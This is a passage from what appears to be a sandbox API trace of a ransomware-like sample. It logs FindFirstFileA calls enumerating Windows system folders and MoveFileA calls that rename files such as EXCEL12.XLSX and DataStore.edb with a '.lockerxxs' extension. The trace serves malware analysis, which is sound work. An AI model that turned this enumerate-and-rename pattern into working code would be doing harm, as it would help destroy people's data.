lpFileName="C:\\Windows\\ServiceProfiles\\NetworkService\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Maintenance\\*.*", lpFindFileData=0x18f118 | out: lpFindFileData=0x18f118*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf493343c, ftCreationTime.dwHighDateTime=0x1ca043d, ftLastAccessTime.dwLowDateTime=0xf493343c, ftLastAccessTime.dwHighDateTime=0x1ca043d, ftLastWriteTime.dwLowDateTime=0xf493343c, ftLastWriteTime.dwHighDateTime=0x1ca043d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502758 [0141.046] FindFirstFileA (in: lpFileName="C:\\Windows\\ServiceProfiles\\NetworkService\\AppData\\Roaming\\Microsoft\\Windows\\Templates\\*.*", lpFindFileData=0x18f3b8 | out: lpFindFileData=0x18f3b8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf493343c, ftCreationTime.dwHighDateTime=0x1ca043d, ftLastAccessTime.dwLowDateTime=0xf493343c, ftLastAccessTime.dwHighDateTime=0x1ca043d, ftLastWriteTime.dwLowDateTime=0xf493343c, ftLastWriteTime.dwHighDateTime=0x1ca043d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x720050, dwReserved1=0x67006f, cFileName=".", cAlternateFileName="")) returned 0x5026d8 [0141.049] FindFirstFileA (in: lpFileName="C:\\Windows\\ServiceProfiles\\NetworkService\\Desktop\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xf493343c, ftCreationTime.dwHighDateTime=0x1ca043d, ftLastAccessTime.dwLowDateTime=0xf493343c, ftLastAccessTime.dwHighDateTime=0x1ca043d, ftLastWriteTime.dwLowDateTime=0xf493343c, ftLastWriteTime.dwHighDateTime=0x1ca043d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x6f0052, dwReserved1=0x6d0061, cFileName=".", cAlternateFileName="")) returned 0x502598 [0141.050] FindFirstFileA (in: lpFileName="C:\\Windows\\ServiceProfiles\\NetworkService\\Documents\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xf493343c, ftCreationTime.dwHighDateTime=0x1ca043d, ftLastAccessTime.dwLowDateTime=0xf493343c, ftLastAccessTime.dwHighDateTime=0x1ca043d, ftLastWriteTime.dwLowDateTime=0xf493343c, ftLastWriteTime.dwHighDateTime=0x1ca043d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0141.050] FindFirstFileA (in: lpFileName="C:\\Windows\\ServiceProfiles\\NetworkService\\Downloads\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xf493343c, ftCreationTime.dwHighDateTime=0x1ca043d, ftLastAccessTime.dwLowDateTime=0xf493343c, ftLastAccessTime.dwHighDateTime=0x1ca043d, ftLastWriteTime.dwLowDateTime=0xf493343c, ftLastWriteTime.dwHighDateTime=0x1ca043d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0141.051] FindFirstFileA (in: lpFileName="C:\\Windows\\ServiceProfiles\\NetworkService\\Favorites\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xf493343c, ftCreationTime.dwHighDateTime=0x1ca043d, ftLastAccessTime.dwLowDateTime=0xf493343c, ftLastAccessTime.dwHighDateTime=0x1ca043d, ftLastWriteTime.dwLowDateTime=0xf493343c, ftLastWriteTime.dwHighDateTime=0x1ca043d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0141.052] FindFirstFileA (in: lpFileName="C:\\Windows\\ServiceProfiles\\NetworkService\\Links\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xf493343c, ftCreationTime.dwHighDateTime=0x1ca043d, ftLastAccessTime.dwLowDateTime=0xf493343c, ftLastAccessTime.dwHighDateTime=0x1ca043d, ftLastWriteTime.dwLowDateTime=0xf493343c, ftLastWriteTime.dwHighDateTime=0x1ca043d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0141.053] FindFirstFileA (in: lpFileName="C:\\Windows\\ServiceProfiles\\NetworkService\\Music\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xf493343c, ftCreationTime.dwHighDateTime=0x1ca043d, ftLastAccessTime.dwLowDateTime=0xf493343c, ftLastAccessTime.dwHighDateTime=0x1ca043d, ftLastWriteTime.dwLowDateTime=0xf493343c, ftLastWriteTime.dwHighDateTime=0x1ca043d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0141.056] FindFirstFileA (in: lpFileName="C:\\Windows\\ServiceProfiles\\NetworkService\\Pictures\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xf497f6fd, ftCreationTime.dwHighDateTime=0x1ca043d, ftLastAccessTime.dwLowDateTime=0xf497f6fd, ftLastAccessTime.dwHighDateTime=0x1ca043d, ftLastWriteTime.dwLowDateTime=0xf497f6fd, ftLastWriteTime.dwHighDateTime=0x1ca043d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18f760, dwReserved1=0x50156c, cFileName=".", cAlternateFileName="")) returned 0x502598 [0141.057] FindFirstFileA (in: lpFileName="C:\\Windows\\ServiceProfiles\\NetworkService\\Saved Games\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xf497f6fd, ftCreationTime.dwHighDateTime=0x1ca043d, ftLastAccessTime.dwLowDateTime=0xf497f6fd, ftLastAccessTime.dwHighDateTime=0x1ca043d, ftLastWriteTime.dwLowDateTime=0xf497f6fd, ftLastWriteTime.dwHighDateTime=0x1ca043d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0141.058] FindFirstFileA (in: lpFileName="C:\\Windows\\ServiceProfiles\\NetworkService\\Videos\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xf497f6fd, ftCreationTime.dwHighDateTime=0x1ca043d, ftLastAccessTime.dwLowDateTime=0xf497f6fd, ftLastAccessTime.dwHighDateTime=0x1ca043d, ftLastWriteTime.dwLowDateTime=0xf497f6fd, ftLastWriteTime.dwHighDateTime=0x1ca043d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0141.059] FindFirstFileA (in: lpFileName="C:\\Windows\\servicing\\*.*", lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfec4e444, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1ea1accb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea1accb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0141.061] FindFirstFileA (in: lpFileName="C:\\Windows\\servicing\\Editions\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0xaf9cbebd, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xaf9cbebd, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x501542, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0141.070] FindFirstFileA (in: lpFileName="C:\\Windows\\servicing\\en-US\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ea1accb, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1ea1accb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea1accb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0141.072] FindFirstFileA (in: lpFileName="C:\\Windows\\servicing\\GC64\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfec4e444, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x95ce655d, ftLastAccessTime.dwHighDateTime=0x1cb892c, ftLastWriteTime.dwLowDateTime=0x95ce655d, ftLastWriteTime.dwHighDateTime=0x1cb892c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0141.073] FindFirstFileA (in: lpFileName="C:\\Windows\\servicing\\Packages\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfec4e444, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbb9ae6d0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xbb9ae6d0, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0141.434] FindFirstFileA (in: lpFileName="C:\\Windows\\servicing\\Sessions\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfec4e444, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xbddd54f0, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xbddd54f0, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0141.451] FindFirstFileA (in: lpFileName="C:\\Windows\\servicing\\SQM\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfec4e444, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfec4e444, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xc469844a, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0141.453] FindFirstFileA (in: lpFileName="C:\\Windows\\servicing\\Version\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfec4e444, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1da1d7ed, ftLastAccessTime.dwHighDateTime=0x1cbf8ec, ftLastWriteTime.dwLowDateTime=0x5760d80d, ftLastWriteTime.dwHighDateTime=0x1cb8928, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x501542, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0141.454] FindFirstFileA (in: lpFileName="C:\\Windows\\servicing\\Version\\6.1.7601.17514\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5746a8ea, ftCreationTime.dwHighDateTime=0x1cb8928, ftLastAccessTime.dwLowDateTime=0x57528fcb, ftLastAccessTime.dwHighDateTime=0x1cb8928, ftLastWriteTime.dwLowDateTime=0x57528fcb, ftLastWriteTime.dwHighDateTime=0x1cb8928, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502598 [0141.455] FindFirstFileA (in: lpFileName="C:\\Windows\\Setup\\*.*", lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf627de2b, ftCreationTime.dwHighDateTime=0x1ca043d, ftLastAccessTime.dwLowDateTime=0xf62a3f8b, ftLastAccessTime.dwHighDateTime=0x1ca043d, ftLastWriteTime.dwLowDateTime=0xf62a3f8b, ftLastWriteTime.dwHighDateTime=0x1ca043d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0141.455] FindFirstFileA (in: lpFileName="C:\\Windows\\Setup\\State\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf62a3f8b, ftCreationTime.dwHighDateTime=0x1ca043d, ftLastAccessTime.dwLowDateTime=0xf62a3f8b, ftLastAccessTime.dwHighDateTime=0x1ca043d, ftLastWriteTime.dwLowDateTime=0xf62a3f8b, ftLastWriteTime.dwHighDateTime=0x1ca043d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502598 [0141.462] FindFirstFileA (in: lpFileName="C:\\Windows\\ShellNew\\*.*", lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9968150d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaf52ba40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaf52ba40, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x18fa00, dwReserved1=0x50152e, cFileName=".", cAlternateFileName="")) returned 0x502618 [0141.587] MoveFileA (lpExistingFileName="C:\\Windows\\ShellNew\\EXCEL12.XLSX" (normalized: "c:\\windows\\shellnew\\excel12.xlsx"), lpNewFileName="C:\\Windows\\ShellNew\\EXCEL12.XLSX.lockerxxs" (normalized: "c:\\windows\\shellnew\\excel12.xlsx.lockerxxs")) returned 1 [0142.460] MoveFileA (lpExistingFileName="C:\\Windows\\ShellNew\\PWRPNT12.PPTX" (normalized: "c:\\windows\\shellnew\\pwrpnt12.pptx"), lpNewFileName="C:\\Windows\\ShellNew\\PWRPNT12.PPTX.lockerxxs" (normalized: "c:\\windows\\shellnew\\pwrpnt12.pptx.lockerxxs")) returned 1 [0142.465] FindFirstFileA (in: lpFileName="C:\\Windows\\SoftwareDistribution\\*.*", lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x145b2540, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2cafb6a0, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0x2cafb6a0, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xec0001ed, dwReserved1=0x4e00c4, cFileName=".", cAlternateFileName="")) returned 0x502618 [0142.522] FindFirstFileA (in: lpFileName="C:\\Windows\\SoftwareDistribution\\AuthCabs\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14813b40, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x14813b40, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x14813b40, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502598 [0142.523] FindFirstFileA (in: lpFileName="C:\\Windows\\SoftwareDistribution\\DataStore\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14839ca0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x148f8380, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x148f8380, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0143.147] MoveFileA (lpExistingFileName="C:\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb"), lpNewFileName="C:\\Windows\\SoftwareDistribution\\DataStore\\DataStore.edb.lockerxxs" (normalized: "c:\\windows\\softwaredistribution\\datastore\\datastore.edb.lockerxxs")) returned 1 [0143.151] FindFirstFileA (in: lpFileName="C:\\Windows\\SoftwareDistribution\\DataStore\\Logs\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14839ca0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x560d06e0, ftLastAccessTime.dwHighDateTime=0x1d4d596, ftLastWriteTime.dwLowDateTime=0x560d06e0, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x66006f, dwReserved1=0x770074, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0143.157] FindFirstFileA (in: lpFileName="C:\\Windows\\SoftwareDistribution\\Download\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14839ca0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xf27c9ad0, ftLastAccessTime.dwHighDateTime=0x1d30596, ftLastWriteTime.dwLowDateTime=0xf27c9ad0, ftLastWriteTime.dwHighDateTime=0x1d30596, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0143.160] FindFirstFileA (in: lpFileName="C:\\Windows\\SoftwareDistribution\\ScanFile\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2cafb6a0, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xae8cdc50, ftLastAccessTime.dwHighDateTime=0x1d2fab4, ftLastWriteTime.dwLowDateTime=0xbdedfe90, ftLastWriteTime.dwHighDateTime=0x1d2fab4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x4f1280, cFileName=".", cAlternateFileName="")) returned 0x502598 [0143.161] FindFirstFileA (in: lpFileName="C:\\Windows\\SoftwareDistribution\\SelfUpdate\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14bcbda0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x14bcbda0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x14bcbda0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0143.165] FindFirstFileA (in: lpFileName="C:\\Windows\\SoftwareDistribution\\SelfUpdate\\Handler\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14bcbda0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x14bcbda0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x14bcbda0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0143.178] FindFirstFileA (in: lpFileName="C:\\Windows\\SoftwareDistribution\\WuRedir\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1592f960, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x1592f960, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x1592f960, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x610048, dwReserved1=0x64006e, cFileName=".", cAlternateFileName="")) returned 0x502598 [0143.179] FindFirstFileA (in: lpFileName="C:\\Windows\\SoftwareDistribution\\WuRedir\\9482F4B4-E343-43B6-B170-9A65BC822C77\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1592f960, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x3f9815b0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x3f9815b0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0143.185] FindFirstFileA (in: lpFileName="C:\\Windows\\Speech\\*.*", lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfec7459e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1d9da406, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d9da406, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x750057, dwReserved1=0x650052, cFileName=".", cAlternateFileName="")) returned 0x502618 [0143.190] FindFirstFileA (in: lpFileName="C:\\Windows\\Speech\\Common\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfec7459e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1da006bf, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1da006bf, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502598 [0143.191] FindFirstFileA (in: lpFileName="C:\\Windows\\Speech\\Common\\en-US\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1da006bf, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1da26978, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1da26978, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0143.194] FindFirstFileA (in: lpFileName="C:\\Windows\\Speech\\Engines\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d9da406, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1d9da406, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d9da406, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0143.195] FindFirstFileA (in: lpFileName="C:\\Windows\\Speech\\Engines\\Lexicon\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d9da406, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1d9da406, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d9da406, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0143.195] FindFirstFileA (in: lpFileName="C:\\Windows\\Speech\\Engines\\Lexicon\\en-GB\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d9da406, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x2396d53f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d9da406, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502518 [0143.196] FindFirstFileA (in: lpFileName="C:\\Windows\\Speech\\Engines\\Lexicon\\en-US\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d9da406, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x234a7e1f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1d9da406, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502518 [0143.200] FindFirstFileA (in: lpFileName="C:\\Windows\\Speech\\Engines\\SR\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d9da406, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1da006bf, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1da006bf, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0143.200] FindFirstFileA (in: lpFileName="C:\\Windows\\Speech\\Engines\\SR\\en-GB\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1da006bf, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x2396d53f, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1da006bf, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502518 [0143.468] FindFirstFileA (in: lpFileName="C:\\Windows\\Speech\\Engines\\SR\\en-US\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d9da406, 